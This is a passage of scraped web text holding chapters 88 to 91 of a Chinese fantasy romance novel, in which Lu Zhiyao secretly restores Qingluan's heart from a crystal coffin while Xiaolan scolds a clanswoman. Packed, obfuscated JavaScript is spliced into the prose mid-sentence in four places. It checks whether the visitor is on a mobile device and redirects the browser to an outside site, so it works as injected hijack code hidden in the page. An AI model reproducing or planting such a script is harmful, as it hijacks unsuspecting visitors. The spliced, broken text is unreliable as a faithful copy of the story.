l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447455|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言又止的模样,似乎想要说些什么,却又一直忍着不肯开口。 他既不开口,她便也不问,两个人就这么安静地上完了药。 直到将药膏收了起来,弥漫在屋中的药气开始逐渐散去,忍了又忍的路之遥终于忍不住开口:“你就不好奇?” 青鸾疑惑:“好奇什么?” 路之遥再次陷入一种极为克制的沉默中,过了好一会儿,他才在青鸾不解的目光里加快了语速问:“你就不好奇牛首山极昼之地生长着向阳鬼草的事为何只有我一人知道?” 青鸾第一反应是想问她应该好奇吗,但她毕竟不是个傻的,路之遥语气中莫名的控诉之意让她知道自己不能这么问。 于是她顺着路之遥的话回答道:“我好奇呀!那是因为什么呢?” 路之遥低不可闻地哼了一声:“因为牛首山的环境恶劣,传闻那是阳世与阴间的交界之地,极夜之地为阳世出口,极昼之地为阴间入口,因此向阳鬼草生长的地方比极夜之地还要恐怖。” 不知道是不是青鸾听错了,他的语气里似乎隐隐有一些得意:“牛首山极昼之地终年燃烧着不灭天火,那火焰无法熄灭,不能靠近。此地无人能够涉足,生长在那里的鬼草自然也就无人知晓。” 这回青鸾是真的有些好奇:“倘若靠近它会怎样?” “会被吞噬生命,连灵魂也一并剥夺。”路之遥语气淡淡地描述着那不灭天火的可怖之处:“修为高深者靠近时会先被吸食法力,及时撤离尚有可能保住性命,只是从此再也无法修行。修为低下的则会立马魂飞魄散,当场丧命。” 青鸾听得一哆嗦:“那不灭天火是从何而来的?为何你不惧它?” “你可曾听说过神谕?”路之遥一贯懒散的声音里终于多了一丝严肃:“传闻那是一个真正得道飞升的古神所留下的神谕,它以这种形态存在于世间,完成那位古神留给它的使命。” “至于我为何不惧它……”路之遥笑了笑,笑声里有几分不羁:“不惧就是不惧,哪怕它是神谕。” 青鸾张了张嘴,又尴尬而不失礼貌地闭上。 她承认路之遥说这话时那股子天不怕地不怕的傲气确实是很帅,但他这个回答跟没回答有什么区别? 她现在觉得世人对路之遥恐怕有什么误解。 尤其是那些话本子里所描写的路之遥的形象,简直与此刻站在她面前的这个人天差地别。 在心里默默腹诽了一会儿,青鸾举了举手再次提问,她方才在路之遥的话里捕捉到一个极为关键的信息:“你说那是一个真正得道飞升的古神所留下的神谕……什么叫做真正得道飞升?难道现在九重天上那些得道飞升的神君们,都不算是真正的飞升了么?” “他们?”路之遥再次嘲讽地一笑:“他们还差得远。” “别说九重天上的那些神君,即便是如今所谓的后神,距离得道飞升这四个字也差了十万八千里。” 这话简直狂得没边儿了。 青鸾表示叹服。 88. 浅歌行 现在青鸾是发自内心感到好奇,路之遥口中那位真正得道飞升了的古神是何模样。 天地间竟然真有这样一股力量,能够以神谕的形式长存于世,执行着主人不灭的意志。 想到这里,她深深地注视着路之遥。 虽然她还是不知道他到底是因为什么不惧神谕,但有一点她十分确定,眼前这个人的修为已经高深到她难以想象的境界了。 “那么你离真正的得道飞升还有多远呢?” 她问出这个问题。 路之遥回答得很快:“我此生永无可能飞升。” “为什么?”青鸾想了想:“因为你是凡人么?” “因为那道神谕。”路之遥仍旧微微笑着,笑意里的轻蔑让青鸾一时有些分辨不清,他到底是轻蔑于神谕还是自己:“我虽不惧神谕,却也如所有人一般受到它的影响。万年前便已有人猜出那道神谕所执行的古神意志到底是什么,万年后的今天,他们的猜想无疑得到了证实。” “什么猜想?那道神谕所执行的意志到底是什么?” “绝地天通,灵气灭绝。万年之前便再无人能够真正地飞升,万年之后这天地之间的灵气将会彻底消散,从此无人再能修炼。” 路之遥用最满不在乎的语气说着最骇人听闻的猜想。 青鸾再一次听得怔住了。 她想起来曾经帝宣在研究一个远古之阵时也说过类似的话。 帝宣从小便专攻法阵之术,成年后的他已成为这四海八荒绝无仅有的布阵高手,他能以最快的速度完成天底下所有已知的阵法,无人能出其右。 于是他开始将目光放到那些传说中的远古之阵上。 那都是些万年之前遗留下来的残篇阵法,万年以来无一人可以参悟,但是帝宣对法阵之术有着超高的领悟能力,他曾经闭关整整三年,竟然真的参悟了其中一个阵法残篇,补全了那道远古阵法。 可他始终无法完成布阵。 在无数次布阵失败后,他叹了口气:“看来这世上再也无人能够成功布下这远古之阵了。” 青鸾从未见到过他如此丧气的模样,于是鼓励他:“可是你不都已经参悟了残篇,补全了这道阵法么?想来成功布阵只是时间问题,你总有一日会成功的。” 帝宣却摇了摇头:“正是因为残篇已悟,阵法已补,我才终于知晓这些远古之阵再也无法现世。设这远古之阵需要大量精纯的灵气,可是天地之间灵气已薄,远远无法满足法阵的需求,也就不足以支撑我完成布阵。” “天上地下的修者皆能感受到灵气日渐稀薄,人们无不担心,未来是否会有灵气彻底消散的那一日,从此再无人能够修炼……如今我于法阵之术钻研越精,便越发感到恐惧。”他说了与路之遥一模一样的话:“我猜测,也许有大能曾经施展了大神通,断绝了四海八荒所有的灵脉,让这个世界绝地天通。” 彼时青鸾并未将此话放在心上,她原本就不曾认真修炼过,这天地间的灵气愈来愈稀薄对她也没有什么影响。 那时她所有的心思都放在帝骁身上,根本没空去思考这些离她很远的事情。 但此刻再次听到路之遥说出这番话,她不禁感到毛骨悚然。 “可是为什么呢?”她不理解:“为什么那位古神要降下这样一道断绝灵脉的神谕?” 比起一脸惊恐的青鸾,路之遥看起来多少有些没心没肺了。 亦或者是破罐子破摔:“那你就得去问那个古神了。不过既然神谕已经断绝了灵脉,这世上再也无人能够证道飞升,也就无人再有机会能当面问一问那位古神了。” 青鸾听他如此说,倒有了一个猜测:“那位古神之所以这样做,不会就是为了让自己成为这世间最后一个神,所以才断绝了其他人飞升的路吧?” 路之遥歪着脑袋审视了她一会儿,然后认真地道:“你心有点儿脏,少看些乱七八糟的话本子吧。” 青鸾:“……” 路之遥:“格局放大一点,人家都得道飞升成神了,再怎么也不至于像九重天宫里的那帮子神君一样没出息。” 青鸾抽了抽嘴角,她发现路之遥好像非常讨厌九重天。 她歪着脑袋思考,他跟九重天宫有仇吗? 不至于吧,他不是上任天君之师吗? 想不出个所以然来,她也就不想了。 她现在比较关心那道神谕:“那依你猜测,那位古神为什么要断绝四海八荒的灵脉呢?” 路之遥摊了摊手:“不知道,我没猜测过。” 青鸾再次失语片刻,然后问路之遥:“你就不好奇么?” 路之遥的回答很简洁,噎死人不偿命:“我不好奇。” “好吧。”青鸾败下阵来,放弃纠结神谕。 然后她又升起一个新的疑惑:“向阳鬼草有令人起死回生的功效,那你把它煮了用在我身上,是不是有些大材小用了……” 路之遥皱了皱眉,好像听到了一个什么很奇怪的问题,过了好半晌他才道:“除了起死回生,它还有消疤除痕的功效,用在你的身上也算是对症下药。再说你是被后神铸就的神剑所伤,若是没有这鬼草,你的脸上是必然要留疤的。” 青鸾听完很是感动,然后她感动地强调了一下自己的重点:“我的意思是,它有这么重要的作用,仅仅用它来替我消除疤痕,是不是太浪费了?” 路之遥再一次皱起眉:“它是我摘下来的,我想怎么用就怎么用。我觉得用在你身上替你除疤很值得,你为何反倒妄自菲薄?” 这属于妄自菲薄吗? 这不是珍惜药材吗? 青鸾觉得自己的脑子有些转不过来了:“可是鬼草这么珍稀,你之前去采它应当是有别的用途吧,我就是觉得……” 路之遥打断她:“不是之前采的,你喝的鬼草是我昨夜给你上完药之后去采的。” 青鸾:“啊?” 路之遥:“向阳鬼草一旦离开了生长之地,其药效便会渐渐消失,时间过得越久药效消散得越多,所以我才让你一早天亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475095|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来找我换药。” 青鸾大脑飞速运转。 原来不止她一夜没有休息,路之遥竟然也是? 他居然连夜从东海飞到牛首山,去那凶险无比的向阳之地采摘鬼草,就为了让她早点喝上鬼草熬的药好消除疤痕? 她张了张嘴又闭上。 这信息实在难以消化。 过了一会儿,她郑重地向路之遥道了声谢。 然后直视着他的眼睛,一字一句地问:“我们以前是不是在哪里见过?” 路之遥一怔。 青鸾确信在她问出这个问题的一瞬间,她在他眼中看见了星河流转。 她想起深海地宫水晶棺中那个与自己长得一模一样的女子,她知道路之遥不会无缘无故地对第一次见面的自己这般好,她相信这一切都不是巧合。 就在她上前一步想要继续追问之时,一道柔软的力量覆盖住她,将她与时间一起定格在了原地。 路之遥眸中浮现起星辰的光,以他为中心施展出的领域瞬间覆盖了整个四海八荒,将所有人的时间都暂停。 然后,在被定格住的时空中,他缓缓走向了她。 “是啊,我们曾经见过。”他抬起手,似是想要触碰她,微凉的指尖在无限靠近她的脸颊时却又忽地停住:“我已经等了你太久太久,可现在正是最关键的时候,任何一个丑陋不堪的真相都有可能让你心神震荡,我不能再让你承受任何风险,唯有待你恢复力量自己想起一切……” “万幸你还记得这个,没有见到她就彻底失了智!”伴随着一阵铃铛声响,一道蓝色的身影从青鸾腰间的乾坤袋中飞出来,正是休养了一段时日,重新能以魂体形态现身的小蓝。 他打断路之遥的陈情,指着他的鼻子道:“我这刚一醒来还在袋子里就听到你跟她说东说西的,我可是真怕你为了与她相认一个忍不住把什么都告诉她,那岂不是误了大事?她现在的心脏可承受不起那么多的信息!” “你终于醒了?”路之遥扫了小蓝一眼,挥苍蝇似的把他的魂体从自己眼前挥散:“倘若你不能趁她还在东海的时候醒过来,那才当真是误事。” 小蓝被他挥得在空中呈烟雾状飞了一阵,过了好一会儿才重新在路之遥身侧聚拢:“跟你说了多少遍了,不要老是把我挥散,不要老是把我挥散!你以为我凝聚成魂体很容易吗?我散一次便少一次在她面前出现的机会。” 路之遥挑了挑眉:“那不挺好。” 小蓝忍不住咬了咬牙。 路之遥掌心向上一翻,取出一株仙草:“你现在又不是实体,咬什么后槽牙,快点施术才是正经。” 小蓝咬着后槽牙抚上那株仙草,催动着它仅有的一片叶子凋零:“这九魂草每过百年才会按照顺序长出新的叶子,若不是我有时空回溯之法,你便得守着它等它长出代表生魂的叶子才能与鸾儿相认,哪有现在这般方便。” 虽然小蓝是以魂体的形态出现,但路之遥还是能听出他的咬牙切齿:“我劝你对我放尊重一点。” 89. 浅歌行 时间如一条看不见的河,在小蓝的指间流淌,他一遍又一遍地拨弄着那股无形的力量。 九魂草的叶片凋零了又重生,复生了又凋谢,最后终于成功长出了他们想要的那一片。 那片代表生魂的叶子此刻就静静地躺在路之遥的掌心,他久违地露出些欣喜之意,也就懒得再同小蓝拌嘴,转身便往海底地宫而去。 那海底地宫原本是一处古神遗迹,并非青鸾与千歌所以为的设有结界的禁地,进入遗迹的唯一条件便是拥有心火,倘若没有心火的护持,擅自闯入者便会被遗迹所驱逐。 所以整个东海只有拥有心火的青鸾、千歌与陌离三人可以随意进出,便也就不奇怪了。 奇怪的是没有心火的路之遥为什么也能随意进出? 小蓝一边腹诽,一边赶紧跟了上去。 倘若不抓紧跟上路之遥,那他即便作为魂体也同样会被拦在外面,无法进入遗迹。 跟着路之遥一路畅通无阻地往放着水晶棺的地宫走,他到底还是忍不住问出了一直想问的问题:“你不会是什么上古大能转世吧?不然就是传说中的那些远古之神的鼻祖?怎么归墟遗址你能随便进,东海遗迹你还能随便进?这也太不公平了吧!” 路之遥专注地护着九魂草往水晶棺的方向去,完全没空搭理在他身后忿忿不平碎碎念的小蓝。 地宫中悬浮阶梯尽头的巨大铜门在路之遥还未靠近时便已打开,这座地宫中的一切事物不仅都对路之遥毫不设防,甚至反而像是在欢迎他的到来。 小蓝再一次发出感慨:“不会实际上这座地宫就是你建的吧?前世的你建好了留着这一世用?” “噤声。”路之遥在门口顿住步子,示意小蓝安静:“别吓到了这些星魂虫。” 望着无数栖息在水晶棺旁的星魂虫,小蓝点点头闭上了嘴。 路之遥缓缓走向冰棺,在他靠近之时那些星魂虫很有默契地翩然飞起,扇动着翅膀在他们的头顶盘旋,为路之遥让出一条路来。 路之遥抬手抚上冰棺,垂眸注视着棺中女子。 她闭着眼睛躺在棺里,面色红润,仿佛只是睡着了一般。 连路之遥自己都没有意识到,在看见她的一瞬间,他不自觉地扬起唇笑了笑。 可惜下一秒,女子胸前的血迹便提醒着他,曾经在她身上都发生过什么可怕的事情。 他敛了笑意,隔着冰棺抚上她胸前的伤口,眸中燃烧起百年不曾熄灭的怒火。 “别耽误时间了,快点用九魂草。”小蓝见他似乎陷入了往昔痛苦的记忆中,试图提醒他:“领域展开的时间是有限的,等下领域消散,她看见你突然消失,一定会起疑心的。” 却没料到路之遥呵出一口寒气,语气极淡地道:“对于我而言,时间是不存在的。” 他仍旧低眸注视着棺中的女子,望向她的眸光里除了经久不息的怒火,还浮现起一些亘古未变的情绪,类似积年未化的冰山底下藏着的温柔与眷恋。 “我曾经考虑过就这样永远和她待在一起,再也没有人会打扰我们。” 小蓝听他说这话的语气完全不像是开玩笑,皱起眉头望着他,感觉眼前这个人有一种平静的疯感。 于是悚然意识到路之遥恐怕并不像他表现出来的那般正常,看这个样子心理上多多少少是有一些创伤。 他现在说话必须得过过脑子,千万不能刺激到他。 咽了口唾沫,组织了下语言,他才道:“你固然是可以就这样永远与她待在一起的,但若是能有重新睁开眼看一看这个世界的机会,我想她也会选择再活一遍,去完成那些她想做却没能来得及做的事情。” 一边说着,他一边偷偷打量路之遥的神色。 见他听完这些话之后表情没什么变化,这才暗暗舒了口气。 路之遥不再开口说话,他沉默地凝视着棺中女子,过了许久,终于无言地捻碎了九魂草上那片唯一的叶子。 小蓝再次暗暗地舒了口气。 捻碎的叶片如尘埃一般从路之遥的指尖洒下,与此同时星魂虫们似是受到了感应,它们有规律地旋转着托起了女子的水晶棺。 整座地宫都颤抖起来,在水晶棺被托举到空中之时,棺内霎时金光大盛。 路之遥闭目低诵着古咒语,随着他的念诵,棺中渐渐响起有力的心跳声。 这一幕着实震撼到了小蓝,他一边觉得路之遥此人多少有些精神不正常,一边又不得不承认他确实是有几分本事。 于是感慨道:“当年你辗转各地,百年间一直在寻找九魂草的下落,我原以为你所做的都是无用功,以为那九魂草只会对凡人有效,并没有传闻中的那般神奇,却没有想到它竟然真的有这样大的用处。还好当年庆安公主将九魂草交给了桐婆婆,古水镇又被那绿蚁庇佑至今,否则想要寻到此等珍宝,恐怕还得费些周折。” 小蓝在一旁碎碎念着,路之遥却没有搭理他,继续全神贯注地闭目念咒。 片刻之后,金光骤然消失,星魂虫们从棺中取出了半颗正在跳动的心脏。 路之遥睁开眼睛,伸出手接过那一颗虽然仍旧残损,但终于重新恢复了生机的心脏,目光变得凝重。 星魂虫们似是有些不舍地在路之遥掌心附近逡巡徘徊,翅间洒下的星尘微光落到那颗跳动着的心脏之上,瞬间化为涟漪消散不见。 路之遥感受到那颗心脏传来的灼热,觉得自己的心也好似被烫到了一般,让他连呼吸都有些困难。 这么些年,不知道只有半颗心脏的她是怎么熬过来的。 这回却是小蓝怒火中烧,率先对帝骁破口大骂:“亏他还是劳什子武罗神君,真就不是个东西!也就是鸾儿还没有恢复从前的记忆,等她想起来他对她做过什么,看她还会不会跟他这么亲近,还愿不愿意陪他住在青要宫中!” 这厢小蓝在不住口地骂,另一厢路之遥又开始念诵不知名的古咒语,他的眸子如之前大言合虚神那般泛起一些神秘的图腾,召唤出一股古老的力量,将那半颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491911|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脏变为了一道金色的光。 那光芒像是通了灵性,在路之遥掌心懒懒地舒展了一下,然后便朝地宫外面飞去,飞到了路之遥寝殿中站在原地的青鸾跟前,打量了她一会儿,咻的一声钻进了她的胸膛。 与此同时,棺中的女子瞬间化为了枯骨,在水晶棺被星魂虫们放回地上的时候,彻底变为了风吹即散的尘埃。 “辛苦你,等了这么久。” 路之遥缓缓俯下身,闭目轻轻地吻上棺沿。 一旁还在对帝骁破口大骂的小蓝看见这一幕后瞬间噤声,安静地注视着路之遥的举动。 墨发从路之遥的肩头滑下,遮住了他半张脸颊,这令小蓝看不清他的表情,但他依然感受到了他的悲伤。 分明青鸾已经重新活了过来,很快就要恢复记忆,可他却似乎比从前还要悲伤。 过了许久,路之遥睁开眼。 他的目光再次变为了无波的古井,吞噬了方才还在熊熊燃烧的愤怒。 最后望了一眼已然变得空空荡荡的水晶棺,他起身一言不发地向外走去。 小蓝连忙跟上,与他一起离开了海底地宫。 回到海面之时,小蓝腕间的铃铛闪过一抹蓝光,路之遥瞥了一眼,抬手撤去方才施展出的庞大领域:“有人找你?你且去吧。” 话音未落,他人已消失不见,往青鸾所在的方向而去。 小蓝则留在了原地,拂袖设下一个屏蔽禁制,将来人与他一起隐在了其中。 千里迢迢赶来寻他的却是曾在空桑山挑起过华胥与青丘两国大战的英小小。 英小小苍白着脸站在小蓝面前,似有些不可置信:“族长,没想到您竟然恢复得这么快,已经能凝聚魂体了。” 小蓝不似方才在路之遥面前那般多话,冷着脸对她道:“你可知错?” 英小小霍然跪下,抬头想要看他,只匆匆望了一眼又连忙将头低下:“当年您硬闯青要宫,后又杀上九重天,被九重天上远古之神留下的神器打得魂飞魄散。从那以后族人们便一直在寻找您的残魂,而我……” 顿了一顿,她继续道:“您之所以会变成这样,都是为了救那个女子,然而她被生生剜去半颗心脏,死而复生谈何容易……我听闻华胥国中有圣物凝魄珠,此物可以凝人魂魄,助人安魂,这才与大言合虚神达成交易。我助他挑起华胥与青丘两国大战,他则将那凝魄珠交给我……” 小蓝的目光如千钧重的山一般压在她的身上,令她感觉越说越是艰难:“我费尽心思想要取得凝魄珠,就是想帮您救活那女子。却不想被人利用,惹出那样大的祸事,竟给四海八荒带来一场如此严重的雪患。族长,我知错了。” 英小小说了许多,可小蓝并未回应,沉默片刻后他只道:“错了便是错了,既然已经知错,便回去领罚吧。” 听到他如此说,英小小将头埋得更深了,一滴泪从她的眼角闪过,被她迅速地一把抹去。 良久,她低声回了句是,转身离开东海。 90. 浅歌行 海上仙宫,帝师殿中。 青鸾抬起一只手站在原地,一直保持着路之遥与小蓝离开时的姿势。 此刻尚在领域中的她是感受不到时间流逝的。 路之遥赶回来的第一件事情便是察看她心脏的恢复情况,在以神力感知到她残损的心脏正在一股力量的运行下自行修复后,他才算是真正松了口气。 便在此时他刚才撤走的领域开始消散,青鸾歪着脑袋看着他隔空伸向自己的手,眨了眨眼睛:“你这是在干嘛?” “当然是准备扶你。”路之遥将手收回,面不改色:“你方才不是着急问我问题?差点跌了一跤。” 青鸾疑惑:“我方才有差点跌一跤么?” 路之遥点头:“有。” 青鸾哦了一声,然后又疑惑:“那我刚才着急问你什么问题?我好像不记得了。” 路之遥笑了:“你都还没有问出口就忘了,我怎么会知道你着急问什么问题?” 青鸾尴尬地挠了挠脑袋,怎么看都觉得路之遥这个笑带有三分嘲讽五分阴阳怪气还有两分关爱智障。 她正准备说既然想不起来那就先不问了,可是在抬眼间不经意扫到陌浅寝殿所在的方向时,她突然又觉得自己好像想起来了。 于是她问路之遥:“东海少主的这个癔症可真是罕见,东海神君为他闭关治疗这么久似乎也没见起效,你可有什么法子能够根治这种程度的癔症?” “法子倒也是有的。”路之遥回答得很快:“西之翼望山有鸟鵸鵌,食其肉可防厌御凶。” 顿了顿,他的语气里多了些意味深长:“只不过翼望山曾遭遇天劫,鵸鵌鸟已在那次天劫中灭族,这世上怕是再也寻不出一只鵸鵌鸟来了。” 青鸾听得微怔,再望向陌浅寝殿的方向时,神情便与方才全然不同了。 路之遥一直观察着青鸾表情的变化,却是什么也没有问,只嘱咐她道:“三日后再来我这里上最后一次药,你脸上的伤便可痊愈了。” 青鸾回过神来望着路之遥,道过谢后忍不住问:“其实我还有一个问题,我们以前从未有过交集,你为什么要如此帮我?” 这个问题似乎令路之遥陷入了沉默,他沉默了一会儿正要开口,忽听窗外响起一个清脆的声音:“因为爹爹他喜欢你呀!” 路之遥脸色变了变,拂袖开门把屋外的女孩一把捞了进来。 青鸾定睛一看,正是那晚光着脚从里屋出来被路之遥抱回去哄睡的小女孩。 此刻她正抱着一捧花冠,在路之遥的怀里咯咯地笑着。 见到青鸾之后,她笑得更开心了,伸出手想要将花冠递给她:“姐姐,我爹爹平常对别人都是冷冰冰的,只有对喜欢的人才会说那么多话。姐姐你生得太好看了,爹爹喜欢你,我也喜欢你!” 此刻路之遥即便想要捂女孩儿的嘴也来不及了,他站在原地,面无表情地望着青鸾。 青鸾尴尬地笑了笑。 这个表情,怎么看也不像是喜欢的样子啊…… 在女孩将手中的花冠递过来的时候,她下意识地往后退了半步,可是脑袋却鬼使神差地凑了过去。 于是女孩顺势就将花冠戴在了她的头上。 青鸾抽了抽嘴角对自己的动作表示无语。 好吧,这么可爱的小姑娘给自己送花冠,实在是难以拒绝。 路之遥似乎也笑了笑,只是那笑意一闪即逝,他低下头轻轻拍了一下女孩的脑袋:“朝玦,不许乱说了。” 朝玦冲他吐了吐舌头,不仅没有闭嘴,反而说得更加起劲,一副完全不管路之遥死活的架势:“姐姐我跟你说,爹爹从来没有给除了我以外的任何人疗伤过。最重要的是给你疗伤用的药材都很难寻,爹爹可是找了很久很久才找到的。我从前还跟他一起去过一个很远很远的镇子,那个镇子叫做古水镇。原本我以为我们要在镇子上待很长的时间,谁想到还没进去就碰到了我们要找的人,爹爹问他是不是桐婆婆的后人,问他家中是否有祖传的圣药九……” 九字还没有说完朝玦便被路之遥物理噤声,他终于忍无可忍地抬手捂住了她的嘴,打断了她如滔滔江水一般的分享欲,然后对青鸾道:“药已喝了,你去忙你的事吧。” 青鸾在听到古水镇三个字时便竖起了耳朵,在听到桐婆婆的名字时竖起的耳朵微微颤了颤。 无奈朝玦话还没有说完便被路之遥噤声了,好在她耳朵灵敏,还是听出了朝玦所说的最后一个字——九。 九什么? 九魂草? 她狐疑地蹙起眉头,瞬间反应过来为何路之遥要在百年前为古水镇布下守护禁制。 感情是当年庆安公主宫北乐在逃亡时将圣药九魂草交给了桐婆婆,路之遥又从桐婆婆的后人处取得了这九魂草,所以才会在古水镇布下禁制还这个人情。 只是…… 他大费周章地寻九魂草与她有什么关系? 朝玦为何要说路之遥是在为她寻药疗伤? 她低下头打量了自己一番。 不像是受了什么重伤需要用九魂草续命的样子啊? 何况她来到东海之时才与路之遥有了几面之缘,百年前她与他压根不相识。 她将目光从自己身上移到路之遥身上。 奇怪,哪里都很奇怪。 青鸾这狐疑的目光似乎令路之遥很不自在,他垂下头轻轻地咳了几声,再次以眼神示意青鸾可以走了。 青鸾倒也看得出来人家是在逐客,就算她此刻有满腹的疑惑,他也是不会为她解答的了。 他做的一切事情一定都有他自己的原因,若这些原因真的与她有关,那么她迟早会知道真相的,既然此刻他不愿意说,她便也没有必要勉强。 最主要的是她现在还有更要紧的事情要做。 郑重地对路之遥道了声谢,青鸾抬首再次望着陌浅寝殿的方向,干脆利落地朝殿外飞去。 留路之遥与朝玦二人在殿内大眼瞪小眼。 路之遥松开捂住朝玦嘴巴的手:“你没事跟她乱说些什么?” 朝玦不服气地撅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504688|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴:“我没有乱说啊!你天天去看的那水晶棺中的漂亮姐姐,不就跟这个漂亮姐姐长得一模一样?她们分明就是同一个人,你不就是在为她疗伤嘛?” 路之遥把朝玦放到地上,拒绝继续抱她:“那你也不能跟她乱说。” 朝玦哇的一声哭出来:“我没有乱说!” 路之遥头疼地按了一会儿额角,黑着脸开始哄被自己惹哭了的小孩儿。 所幸殿外的青鸾飞得极快,没有听到殿内两人幼稚的拌嘴,也没有听到朝玦哇的一声哭出来时那惊天动地的一嗓子。 她在听到路之遥说鵸鵌鸟的肉可防厌御凶时脑海中便闪过了一个可怕的猜想,此刻一边穿梭在海上仙宫错综复杂的回廊中,一边回忆着利用精神游丝在陌浅识海中看到的那一幕幕画面,她愈发觉得自己的猜想也许不仅仅只是一个猜想。 倘若她的猜想是真的,那么千歌的处境很危险。 以极快的速度回到陌浅寝殿所在的位置后,青鸾变回了本体鸾鸟的形态,隐了自己的气息藏在窗外,向屋内望去。 殿内浅蓝色的帷幕全都被放了下来,在海风的吹拂下没有规律地晃动着,透过层层叠叠的纱帘依稀可以看见陌浅已然醒转,正倚靠在榻上啜饮着手中的热茶。 千歌则坐在一旁絮絮地向他讲述着最近发生的事。 陌浅原本只是低着头安静地听着,但是在听见千歌说她们阴差阳错进入到海底牢狱的更深处,还在地宫尽头瞧见了一个长着蛇尾的不知名生物时,他猛地从榻上坐起。 “你方才说看见了什么?”他的声音都有些颤抖。 千歌被吓了一跳:“我说……我们看见了一个长着蛇尾的生物,它好像是被什么东西镇压在了那里,挣扎得特别厉害。” 陌浅沉默地坐在原地,一只手撑在榻上,另一只手紧紧地攥着手中的茶盏,原本就没有血色的手指因为太过用力而变得愈发惨白。 随后听到啪的一声,瓷质的茶盏竟被他生生捏碎,在他的掌心划出一道道伤痕,鲜血顺着他修长苍白的手指流下,染红了床榻。 千歌霍然起身,握住他的手,皱着眉替他拂去掌心的碎片:“阿浅,怎么了,你这是做什么?” 陌浅抬头望着她,眼眶微微发红:“你说的那个长着蛇尾的生物,她便是我的母亲。” 千歌啊了一声,捂住嘴后退了几步:“怎么会……她……” 陌浅起身牵起她的手:“她在哪里?你可不可以带我去见她?” 千歌回忆了一下青鸾开启地宫的方法,有些犹豫地道:“按理来说用心火就可以打开地宫的铜门,可是我的心火没有青鸾那般强大,我不太确定能否带你去见她。” “我们去试一试,可以吗?”陌浅的声音里近乎带有恳求的意味。 千歌咬住嘴唇点了点头,跟着陌浅往殿外的海域飞去。 殿外的青鸾在稍加思索之后,扇扇翅膀也离开了此地,回忆着窥探陌浅识海时所看见的那间陌离为他疗伤的密室,按照记忆中的路线往密室的方向而去。 91. 浅歌行 东海海面之上,千歌催动心火,感应着结界所在的位置。 在以心火开启结界之后,她转身回望陌浅,以眼神询问他是否真的要进入此地。 陌浅注视着在心火的牵引下逐渐变得汹涌的海水,坚定地点了点头。 千歌微不可闻地叹了口气,握紧了陌浅的手,带着他一起越过结界,回到了他从前与母亲一起生活过的那座海底牢狱。 她与陌浅心中都明白,今次不同以往,以前她利用心火之便可以随意进出此地,陌离并不能知晓,可是这次她带着陌浅一同穿过结界,同样拥有心火的陌离一定会有所感应,他很快就会赶过来查看情况。 望了一眼走在自己身侧的陌浅,她再次紧了紧握住他的手。 陌浅沉默地注视着自己从小生活过的这座牢狱,抬手抚摸当年被母亲砍断的锁链,眼中逐渐蔓延起无法言说的疼痛。 良久,他轻声对千歌道:“试试吧,能否带我去见母亲。” 千歌深吸了一口气,闭目催动心火,拼尽全力让自己的心火燃到极致。 片刻之后,两人眼前出现了那道悬浮的阶梯,阶梯两旁有零星的烛火摇曳,带来些微弱的光,千歌带着陌浅踏上台阶,一步一步地往阶梯尽头走。 心火在千歌的胸膛里以前所未有的势态猛烈燃烧着,她感受到心火燃烧所产生的负荷逐渐超过自己身体的承受极限,却还是咬牙用灵力强撑着。 豆大的汗珠从她的额前流下,就在汗水模糊了她的双眼之时,阶梯尽头终于出现了一扇巨大的青铜门。 千歌学着青鸾的样子燃烧心火打开铜门,再次进入了那个满是铜棺的地宫之中。 陌浅跟随千歌一起穿梭在铜棺之间,目光逐渐变得冷峻,在看见有的铜棺上刻着代表九重天宫的烙印时,他的神色瞬间变得更加严肃。 千歌却已经无暇关注陌浅神色的变化,她咬牙强撑着打开了第二扇铜门,带着他来到了地宫更深处。 两座上古神棺依然安静地矗立在地宫最中央,但是地宫里已没了先前看见的那些星魂虫。 千歌讶异地啊了一声:“那些小虫子怎么不见了?” 说着她望向其中一座水晶棺,然后更加讶异地道:“棺中的那个女子也不见了!” 陌浅顺着她的目光望过去,观察了一会儿道:“有人在我们之前来过此地。” “还有谁能来此地?”千歌想了想:“是陌离吗?” 陌浅摇了摇头,这水晶棺牵连的人和事都与他无关,他不欲多做停留,于是对千歌道:“再往前便是你说的那个地方了吗?” 千歌将思绪收回,嗯了一声,转头担忧地望向陌浅:“你真的要去吗?我怕你见到她会更加伤心。她似乎……似乎很痛苦。” 陌浅垂首与千歌对视,温柔地抚上她的脸颊:“我知道。” 